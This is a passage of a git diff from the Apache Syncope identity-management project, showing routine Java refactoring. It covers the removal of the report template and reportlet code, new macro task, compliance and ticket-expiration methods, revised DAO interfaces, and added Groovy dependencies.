org.apache.syncope.common.rest.api.service.ReportTemplateService; -import org.apache.syncope.core.logic.ReportTemplateLogic; -import org.springframework.stereotype.Service; - -@Service -public class ReportTemplateServiceImpl extends AbstractService implements ReportTemplateService { - - protected final ReportTemplateLogic logic; - - public ReportTemplateServiceImpl(final ReportTemplateLogic logic) { - this.logic = logic; - } - - @Override - public Response create(final ReportTemplateTO reportTemplateTO) { - ReportTemplateTO created = logic.create(reportTemplateTO.getKey()); - URI location = uriInfo.getAbsolutePathBuilder().path(created.getKey()).build(); - return Response.created(location). - header(RESTHeaders.RESOURCE_KEY, created.getKey()). - build(); - } - - @Override - public ReportTemplateTO read(final String key) { - return logic.read(key); - } - - @Override - public List list() { - return logic.list(); - } - - @Override - public void delete(final String key) { - logic.delete(key); - } - - @Override - public Response getFormat(final String key, final ReportTemplateFormat format) { - String template = logic.getFormat(key, format); - StreamingOutput sout = (os) -> os.write(template.getBytes()); - - return Response.ok(sout). - type(MediaType.APPLICATION_XML). - build(); - } - - @Override - public void setFormat(final String key, final ReportTemplateFormat format, final InputStream templateIn) { - try { - logic.setFormat(key, format, IOUtils.toString(templateIn, StandardCharsets.UTF_8.name())); - } catch (final IOException e) { - LOG.error("While setting format {} for report template {}", format, key, e); - throw new InternalServerErrorException("Could not read entity", e); - } - } - - @Override - public void removeFormat(final String key, final ReportTemplateFormat format) { - logic.setFormat(key, format, null); - } -} diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SyncopeServiceImpl.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SyncopeServiceImpl.java index 956f26acf0a..444223eb6ca 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SyncopeServiceImpl.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SyncopeServiceImpl.java @@ -22,6 +22,7 @@ import java.io.InputStream; import java.time.OffsetDateTime; import java.util.List; +import java.util.Optional; import javax.ws.rs.InternalServerErrorException; import javax.ws.rs.NotFoundException; import javax.ws.rs.core.HttpHeaders; @@ -142,7 +143,14 @@ public Response batch(final InputStream input) { BatchProcess batchProcess = ApplicationContextProvider.getBeanFactory().createBean(BatchProcess.class); batchProcess.setBoundary(boundary); - batchProcess.setBasePath(uriInfo.getBaseUri().toASCIIString()); + batchProcess.setScheme(messageContext.getHttpServletRequest().getScheme()); + batchProcess.setServerName(messageContext.getHttpServletRequest().getServerName()); + batchProcess.setServerPort(messageContext.getHttpServletRequest().getServerPort()); + batchProcess.setContextPath(messageContext.getHttpServletRequest().getContextPath()); + batchProcess.setServletPath(messageContext.getHttpServletRequest().getServletPath()); + batchProcess.setPathInfo(messageContext.getHttpServletRequest().getPathInfo()); + batchProcess.setCharacterEncoding(messageContext.getHttpServletRequest().getCharacterEncoding()); + batchProcess.setBaseURI(uriInfo.getBaseUri().toASCIIString()); batchProcess.setBatchRequestItems(batchRequestItems); batchProcess.setDestinationRegistry(getDestinationRegistryFromBusOrDefault()); batchProcess.setServletConfig(messageContext.getServletConfig()); @@ -169,10 +177,8 @@ public Response batch() { MediaType mediaType = MediaType.valueOf(messageContext.getHttpServletRequest().getContentType()); String boundary = mediaType.getParameters().get(RESTHeaders.BOUNDARY_PARAMETER); - Batch batch = batchDAO.find(boundary); - if (batch == null) { - throw new NotFoundException("Batch " + boundary); - } + Batch batch = Optional.ofNullable(batchDAO.find(boundary)). + orElseThrow(() -> new NotFoundException("Batch " + boundary)); if (batch.getResults() == null) { return Response.accepted(). @@ -192,8 +198,8 @@ public Response batch() { } @Override - public Response exportInternalStorageContent() { - StreamingOutput sout = (os) -> logic.exportInternalStorageContent(os); + public Response exportInternalStorageContent(final int tableThreshold) { + StreamingOutput sout = os -> logic.exportInternalStorageContent(tableThreshold, os); return Response.ok(sout). type(MediaType.TEXT_XML). diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/TaskServiceImpl.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/TaskServiceImpl.java index 579eb4001df..29d3d259a70 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/TaskServiceImpl.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/TaskServiceImpl.java @@ -21,15 +21,22 @@ import java.net.URI; import java.time.OffsetDateTime; import java.util.List; +import java.util.Locale; import javax.ws.rs.BadRequestException; import javax.ws.rs.core.Response; +import org.apache.commons.lang3.LocaleUtils; import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.common.lib.SyncopeClientException; +import org.apache.syncope.common.lib.form.SyncopeForm; +import org.apache.syncope.common.lib.to.ExecTO; import org.apache.syncope.common.lib.to.PagedResult; import org.apache.syncope.common.lib.to.SchedTaskTO; import org.apache.syncope.common.lib.to.TaskTO; +import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.ExecStatus; import org.apache.syncope.common.lib.types.TaskType; import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.beans.ExecSpecs; import org.apache.syncope.common.rest.api.beans.TaskQuery; import org.apache.syncope.common.rest.api.service.TaskService; import org.apache.syncope.core.logic.AbstractExecutableLogic; @@ -109,4 +116,25 @@ public Response purgePropagations( return Response.ok(logic.purgePropagations(since, statuses, resources)).build(); } + + @Override + public SyncopeForm getMacroTaskForm(final String key, final String locale) { + Locale localeObj = null; + try { + localeObj = LocaleUtils.toLocale(locale); + } catch (Exception e) { + LOG.error("While attempting to convert {} to Locale", locale, e); + + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidEntity); + sce.getElements().add("Invalid locale '" + locale + "'"); + throw sce; + } + + return logic.getMacroTaskForm(key, localeObj); + } + + @Override + public ExecTO execute(final ExecSpecs specs, final SyncopeForm macroTaskForm) { + return logic.execute(specs, macroTaskForm); + } } diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/UserSelfServiceImpl.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/UserSelfServiceImpl.java index 61b0f9bb161..76a281f2d43 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/UserSelfServiceImpl.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/UserSelfServiceImpl.java @@ -22,6 +22,7 @@ import org.apache.commons.lang3.tuple.Triple; import org.apache.syncope.common.lib.AnyOperations; import org.apache.syncope.common.lib.SyncopeClientException; +import org.apache.syncope.common.lib.request.PasswordPatch; import org.apache.syncope.common.lib.request.StatusR; import org.apache.syncope.common.lib.request.UserCR; import org.apache.syncope.common.lib.request.UserUR; @@ -29,6 +30,7 @@ import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.beans.ComplianceQuery; import org.apache.syncope.common.rest.api.service.UserSelfService; import org.apache.syncope.core.logic.SyncopeLogic; import org.apache.syncope.core.logic.UserLogic; @@ -94,11 +96,16 @@ public Response delete() { } @Override - public Response mustChangePassword(final String password) { + public Response mustChangePassword(final PasswordPatch password) { ProvisioningResult updated = logic.mustChangePassword(password, isNullPriorityAsync()); return modificationResponse(updated); } + @Override + public void compliance(final ComplianceQuery query) { + logic.compliance(query); + } + @Override public void requestPasswordReset(final String username, final String securityAnswer) { if (!syncopeLogic.isPwdResetAllowed()) { diff --git a/core/idrepo/rest-cxf/src/test/java/org/apache/syncope/core/rest/cxf/service/AnyObjectServiceTest.java b/core/idrepo/rest-cxf/src/test/java/org/apache/syncope/core/rest/cxf/service/AnyObjectServiceTest.java index 4afe059c480..2263c3c83f0 100644 --- a/core/idrepo/rest-cxf/src/test/java/org/apache/syncope/core/rest/cxf/service/AnyObjectServiceTest.java +++ b/core/idrepo/rest-cxf/src/test/java/org/apache/syncope/core/rest/cxf/service/AnyObjectServiceTest.java @@ -228,7 +228,9 @@ private void checkList(final PagedResult list) { assertEquals("printer1", list.getResult().get(0).getName()); assertEquals("PRINTER", list.getResult().get(0).getType()); - assertEquals("there", list.getResult().get(1).getPlainAttr("location").get().getValues().get(0)); + Attr location = list.getResult().get(1).getPlainAttr("location").orElse(null); + assertNotNull(location); + assertEquals("there", location.getValues().get(0)); } @Test diff --git a/core/persistence-api/pom.xml b/core/persistence-api/pom.xml index 0b9e6ed46d2..48ec1cd90d5 100644 --- a/core/persistence-api/pom.xml +++ b/core/persistence-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core Persistence API @@ -60,7 +60,41 @@ under the License. net.tirasa.connid slf4j-logging - + + + org.apache.groovy + groovy + + + org.apache.groovy + groovy-templates + + + org.apache.groovy + groovy-xml + + + org.apache.groovy + groovy-jsr223 + + + org.apache.groovy + groovy-datetime + + + org.apache.groovy + groovy-dateutil + + + org.apache.groovy + groovy-sql + + + + net.tirasa + groovy-security-sandbox + + org.apache.syncope.common.idm syncope-common-idm-lib diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/content/ContentExporter.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/content/ContentExporter.java index 7f6303f5785..7f9d307f8cf 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/content/ContentExporter.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/content/ContentExporter.java @@ -27,9 +27,7 @@ public interface ContentExporter extends ContentDealer { void export( String domain, - OutputStream output, - String uwfPrefix, - String gwfPrefix, - String awfPrefix) + int tableThreshold, + OutputStream output) throws SAXException, TransformerConfigurationException; } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AnyDAO.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AnyDAO.java index da128ed6882..75c4831e8f0 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AnyDAO.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AnyDAO.java @@ -35,8 +35,6 @@ public interface AnyDAO> extends DAO { int DEFAULT_PAGE_SIZE = 500; - String findKey(String name); - List findByKeys(List keys); OffsetDateTime findLastChange(String key); diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AnyObjectDAO.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AnyObjectDAO.java index 1b660971a19..4fbe9545b75 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AnyObjectDAO.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AnyObjectDAO.java @@ -33,6 +33,12 @@ public interface AnyObjectDAO extends AnyDAO { + String findKey(String type, String name); + + AnyObject findByName(String type, String name); + + List findByName(String name); + /** * Checks if the calling user is authorized to access the Any Object matching the provided key, under the given * realm. @@ -54,8 +60,6 @@ public interface AnyObjectDAO extends AnyDAO { Map countByRealm(AnyType anyType); - AnyObject findByName(String name); - AMembership findMembership(String key); List findDynGroups(String key); diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ExternalResourceDAO.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ExternalResourceDAO.java index bc3ec6e8804..dcf59bd7988 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ExternalResourceDAO.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ExternalResourceDAO.java @@ -37,6 +37,8 @@ public interface ExternalResourceDAO extends DAO { boolean anyItemHaving(Implementation transformer); + List findByConnInstance(String connInstance); + List findByProvisionSorter(Implementation provisionSorter); List findByPropagationActions(Implementation propagationActions); diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/GroupDAO.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/GroupDAO.java index fa50c00e0b2..a90831ec3cb 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/GroupDAO.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/GroupDAO.java @@ -33,6 +33,10 @@ public interface GroupDAO extends AnyDAO { + String findKey(String name); + + Group findByName(String name); + /** * Checks if the calling user is authorized to access the Group matching the provided key, under the given * realm. @@ -45,8 +49,6 @@ public interface GroupDAO extends AnyDAO { Map countByRealm(); - Group findByName(String name); - List findKeysByNamePattern(String pattern); List findOwnedByUser(String userKey); @@ -57,13 +59,23 @@ public interface GroupDAO extends AnyDAO { List findUMemberships(Group group); + List findUMemberships(Group group, int page, int itemsPerPage); + List findTypeExtensions(AnyTypeClass anyTypeClass); + boolean existsAMembership(String anyObjectKey, String groupKey); + + boolean existsUMembership(String userKey, String groupKey); + + List findAMembers(String groupKey); + + List findUMembers(String groupKey); + List findADynMembers(Group group); - int countAMembers(Group group); + int countAMembers(String groupKey); - int countUMembers(Group group); + int countUMembers(String groupKey); int countADynMembers(Group group); diff --git a/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/NoAuthenticationHandler.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PersistenceInfoDAO.java similarity index 80% rename from client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/NoAuthenticationHandler.java rename to core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PersistenceInfoDAO.java index 6ad2b1f67af..dc9fafd6bf0 100644 --- a/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/NoAuthenticationHandler.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PersistenceInfoDAO.java @@ -16,11 +16,11 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.lib; +package org.apache.syncope.core.persistence.api.dao; -/** - * Empty implementation not providing any real authentication capability. - */ -public class NoAuthenticationHandler implements AuthenticationHandler { +import java.util.Map; + +public interface PersistenceInfoDAO { + Map info(); } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/RealmDAO.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/RealmDAO.java index 7a3b5cbaa8c..fb26260149d 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/RealmDAO.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/RealmDAO.java @@ -19,6 +19,7 @@ package org.apache.syncope.core.persistence.api.dao; import java.util.List; +import java.util.Set; import java.util.regex.Pattern; import org.apache.syncope.core.persistence.api.entity.ExternalResource; import org.apache.syncope.core.persistence.api.entity.Implementation; @@ -41,7 +42,15 @@ public interface RealmDAO extends DAO { List findByResource(ExternalResource resource); - List findMatching(String keyword); + int countDescendants(String base, String keyword); + + int countDescendants(Set bases, String keyword); + + List findDescendants(String base, String keyword, int page, int itemsPerPage); + + List findDescendants(Set bases, String keyword, int page, int itemsPerPage); + + List findDescendants(String base, String prefix); List findByPolicy(T policy); @@ -51,13 +60,11 @@ public interface RealmDAO extends DAO { List findChildren(Realm realm); - List findDescendants(Realm realm); + int count(); - List findAll(); + List findAllKeys(int page, int itemsPerPage); Realm save(Realm realm); void delete(Realm realm); - - void delete(String key); } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ReportDAO.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ReportDAO.java index 50d2c5ea4c6..650d2b44dab 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ReportDAO.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ReportDAO.java @@ -21,15 +21,12 @@ import java.util.List; import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.persistence.api.entity.Report; -import org.apache.syncope.core.persistence.api.entity.ReportTemplate; public interface ReportDAO extends DAO { Report find(String key); - List findByReportlet(Implementation reportlet); - - List findByTemplate(ReportTemplate template); + List findByDelegate(Implementation delegate); List findAll(); diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/Reportlet.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/Reportlet.java deleted file mode 100644 index 22c4468b0c9..00000000000 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/Reportlet.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.persistence.api.dao; - -import org.apache.syncope.common.lib.report.ReportletConf; -import org.xml.sax.ContentHandler; -import org.xml.sax.SAXException; - -/** - * Interface for all elements that can be embedded in a report. - * - * @see org.apache.syncope.core.persistence.api.entity.Report - */ -@FunctionalInterface -public interface Reportlet { - - /** - * Optional configuration. - * - * @param conf configuration - */ - default void setConf(ReportletConf conf) { - } - - /** - * Actual data extraction for reporting. - * - * @param handler SAX content handler for streaming result - * @param refDesc current report status (for job reporting) - * @throws SAXException if there is any problem in SAX handling - */ - void extract(ContentHandler handler, String refDesc) throws SAXException; -} diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/TaskDAO.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/TaskDAO.java index 58dd858e96c..72c9443a98c 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/TaskDAO.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/TaskDAO.java @@ -42,6 +42,8 @@ public interface TaskDAO extends DAO> { > T find(TaskType type, String key); + Optional findByName(TaskType type, String name); + Optional> find(String key); List findByDelegate(Implementation delegate); diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/UserDAO.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/UserDAO.java index d8827aeeeed..1c70d1c0ea5 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/UserDAO.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/UserDAO.java @@ -35,6 +35,10 @@ public interface UserDAO extends AnyDAO { + String findKey(String username); + + Optional findUsername(String key); + /** * Checks if the calling user is authorized to access the User matching the provided key, under the given * realm. @@ -46,8 +50,6 @@ public interface UserDAO extends AnyDAO { */ void securityChecks(Set authRealms, String key, String realm, Collection groups); - Optional findUsername(String key); - Map countByRealm(); Map countByStatus(); @@ -84,7 +86,5 @@ public interface UserDAO extends AnyDAO { List findLinkedAccountsByPrivilege(Privilege privilege); - Pair enforcePolicies(User user); - Pair, Set> saveAndGetDynGroupMembs(User user); } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/search/AssignableCond.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/search/AssignableCond.java deleted file mode 100644 index dae0a447b9a..00000000000 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/search/AssignableCond.java +++ /dev/null @@ -1,92 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.persistence.api.dao.search; - -import org.apache.commons.lang3.builder.EqualsBuilder; -import org.apache.commons.lang3.builder.HashCodeBuilder; -import org.apache.commons.lang3.builder.ToStringBuilder; - -public class AssignableCond extends AbstractSearchCond { - - private static final long serialVersionUID = 1237627275756159522L; - - private String realmFullPath; - - /** - * Whether this condition should be evaluated from the assignable group's or instead the - * assignee's point of view (default). - * The converter from FIQL will ignore this setting, which is meant for internal usage. - */ - private boolean fromGroup = false; - - public String getRealmFullPath() { - return realmFullPath; - } - - public void setRealmFullPath(final String realmFullPath) { - this.realmFullPath = realmFullPath; - } - - public boolean isFromGroup() { - return fromGroup; - } - - public void setFromGroup(final boolean fromGroup) { - this.fromGroup = fromGroup; - } - - @Override - public final boolean isValid() { - return realmFullPath != null; - } - - @Override - public int hashCode() { - return new HashCodeBuilder(). - append(realmFullPath). - append(fromGroup). - build(); - } - - @Override - public boolean equals(final Object obj) { - if (this == obj) { - return true; - } - if (obj == null) { - return false; - } - if (getClass() != obj.getClass()) { - return false; - } - final AssignableCond other = (AssignableCond) obj; - return new EqualsBuilder(). - append(realmFullPath, other.realmFullPath). - append(fromGroup, other.fromGroup). - build(); - } - - @Override - public String toString() { - return new ToStringBuilder(this). - append(realmFullPath). - append(fromGroup). - build(); - } -} diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/AnyType.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/AnyType.java index 0d89facbdbe..deaa087b76a 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/AnyType.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/AnyType.java @@ -18,7 +18,7 @@ */ package org.apache.syncope.core.persistence.api.entity; -import java.util.List; +import java.util.Set; import org.apache.syncope.common.lib.types.AnyTypeKind; public interface AnyType extends ProvidedKeyEntity { @@ -29,5 +29,5 @@ public interface AnyType extends ProvidedKeyEntity { boolean add(AnyTypeClass anyTypeClass); - List getClasses(); + Set getClasses(); } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/AnyUtils.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/AnyUtils.java index 0ceb427afe0..570c893976c 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/AnyUtils.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/AnyUtils.java @@ -60,4 +60,6 @@ public interface AnyUtils { Set getAllResources(Any any); void addAttr(PlainAttrValidationManager validator, String key, PlainSchema schema, String value); + + void removeAttr(String key, PlainSchema schema); } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/ExternalResource.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/ExternalResource.java index 657d16d0985..95f67463082 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/ExternalResource.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/ExternalResource.java @@ -100,10 +100,6 @@ public interface ExternalResource extends ProvidedKeyEntity { void setEnforceMandatoryCondition(boolean enforce); - boolean isRandomPwdIfNotProvided(); - - void setRandomPwdIfNotProvided(boolean condition); - Optional getProvisionByAnyType(String anyType); Optional getProvisionByObjectClass(String objectClass); diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/Realm.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/Realm.java index 42249ce9a46..d513688fd1a 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/Realm.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/Realm.java @@ -25,6 +25,7 @@ import org.apache.syncope.core.persistence.api.entity.policy.AttrReleasePolicy; import org.apache.syncope.core.persistence.api.entity.policy.AuthPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; public interface Realm extends Entity { @@ -46,17 +47,21 @@ public interface Realm extends Entity { void setPasswordPolicy(PasswordPolicy passwordPolicy); + AuthPolicy getAuthPolicy(); + void setAuthPolicy(AuthPolicy authPolicy); - AuthPolicy getAuthPolicy(); + AccessPolicy getAccessPolicy(); void setAccessPolicy(AccessPolicy accessPolicy); - AccessPolicy getAccessPolicy(); + AttrReleasePolicy getAttrReleasePolicy(); void setAttrReleasePolicy(AttrReleasePolicy policy); - AttrReleasePolicy getAttrReleasePolicy(); + TicketExpirationPolicy getTicketExpirationPolicy(); + + void setTicketExpirationPolicy(TicketExpirationPolicy policy); boolean add(Implementation action); diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/Report.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/Report.java index a6cc50ebd5e..7c5ce02057e 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/Report.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/Report.java @@ -26,13 +26,13 @@ public interface Report extends Entity { void setName(String name); - boolean add(ReportExec exec); + String getMimeType(); - List getExecs(); + void setMimeType(String mimeType); - boolean add(Implementation reportlet); + String getFileExt(); - List getReportlets(); + void setFileExt(String fileExt); String getCronExpression(); @@ -42,7 +42,11 @@ public interface Report extends Entity { void setActive(boolean active); - ReportTemplate getTemplate(); + void setJobDelegate(Implementation jobDelegate); + + Implementation getJobDelegate(); - void setTemplate(ReportTemplate template); + boolean add(ReportExec exec); + + List getExecs(); } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/ReportExec.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/ReportExec.java index 0607fd68878..e55f0746ee3 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/ReportExec.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/ReportExec.java @@ -18,8 +18,6 @@ */ package org.apache.syncope.core.persistence.api.entity; -import org.apache.syncope.common.lib.types.ReportExecStatus; - public interface ReportExec extends Exec { byte[] getExecResult(); @@ -29,6 +27,4 @@ public interface ReportExec extends Exec { void setExecResult(byte[] execResult); void setReport(Report report); - - void setStatus(ReportExecStatus status); } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/AuthProfile.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/AuthProfile.java index 8abfefc15d7..2bf4554de65 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/AuthProfile.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/AuthProfile.java @@ -22,6 +22,7 @@ import org.apache.syncope.common.lib.wa.GoogleMfaAuthAccount; import org.apache.syncope.common.lib.wa.GoogleMfaAuthToken; import org.apache.syncope.common.lib.wa.ImpersonationAccount; +import org.apache.syncope.common.lib.wa.MfaTrustedDevice; import org.apache.syncope.common.lib.wa.U2FDevice; import org.apache.syncope.common.lib.wa.WebAuthnDeviceCredential; import org.apache.syncope.core.persistence.api.entity.Entity; @@ -44,6 +45,10 @@ public interface AuthProfile extends Entity { void setGoogleMfaAuthAccounts(List accounts); + List getMfaTrustedDevices(); + + void setMfaTrustedDevices(List records); + List getWebAuthnDeviceCredentials(); void setWebAuthnDeviceCredentials(List credentials); diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/ClientApp.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/ClientApp.java index 222c4ebf4be..ec8e8ba478b 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/ClientApp.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/ClientApp.java @@ -20,11 +20,14 @@ import java.util.List; import org.apache.syncope.common.lib.Attr; +import org.apache.syncope.common.lib.clientapps.UsernameAttributeProviderConf; +import org.apache.syncope.common.lib.types.LogoutType; import org.apache.syncope.core.persistence.api.entity.Entity; import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.api.entity.policy.AccessPolicy; import org.apache.syncope.core.persistence.api.entity.policy.AttrReleasePolicy; import org.apache.syncope.core.persistence.api.entity.policy.AuthPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; public interface ClientApp extends Entity { @@ -36,10 +39,34 @@ public interface ClientApp extends Entity { void setClientAppId(Long clientAppId); + int getEvaluationOrder(); + + void setEvaluationOrder(int evaluationOrder); + String getDescription(); void setDescription(String description); + String getLogo(); + + void setLogo(String logo); + + void setTheme(String name); + + String getTheme(); + + String getInformationUrl(); + + void setInformationUrl(String informationUrl); + + String getPrivacyUrl(); + + void setPrivacyUrl(String privacyUrl); + + UsernameAttributeProviderConf getUsernameAttributeProviderConf(); + + void setUsernameAttributeProviderConf(UsernameAttributeProviderConf conf); + AuthPolicy getAuthPolicy(); void setAuthPolicy(AuthPolicy policy); @@ -52,15 +79,19 @@ public interface ClientApp extends Entity { void setAttrReleasePolicy(AttrReleasePolicy policy); - Realm getRealm(); + TicketExpirationPolicy getTicketExpirationPolicy(); - void setRealm(Realm realm); + void setTicketExpirationPolicy(TicketExpirationPolicy policy); - void setTheme(String name); + Realm getRealm(); - String getTheme(); + void setRealm(Realm realm); List getProperties(); void setProperties(List properties); + + LogoutType getLogoutType(); + + void setLogoutType(LogoutType logoutType); } 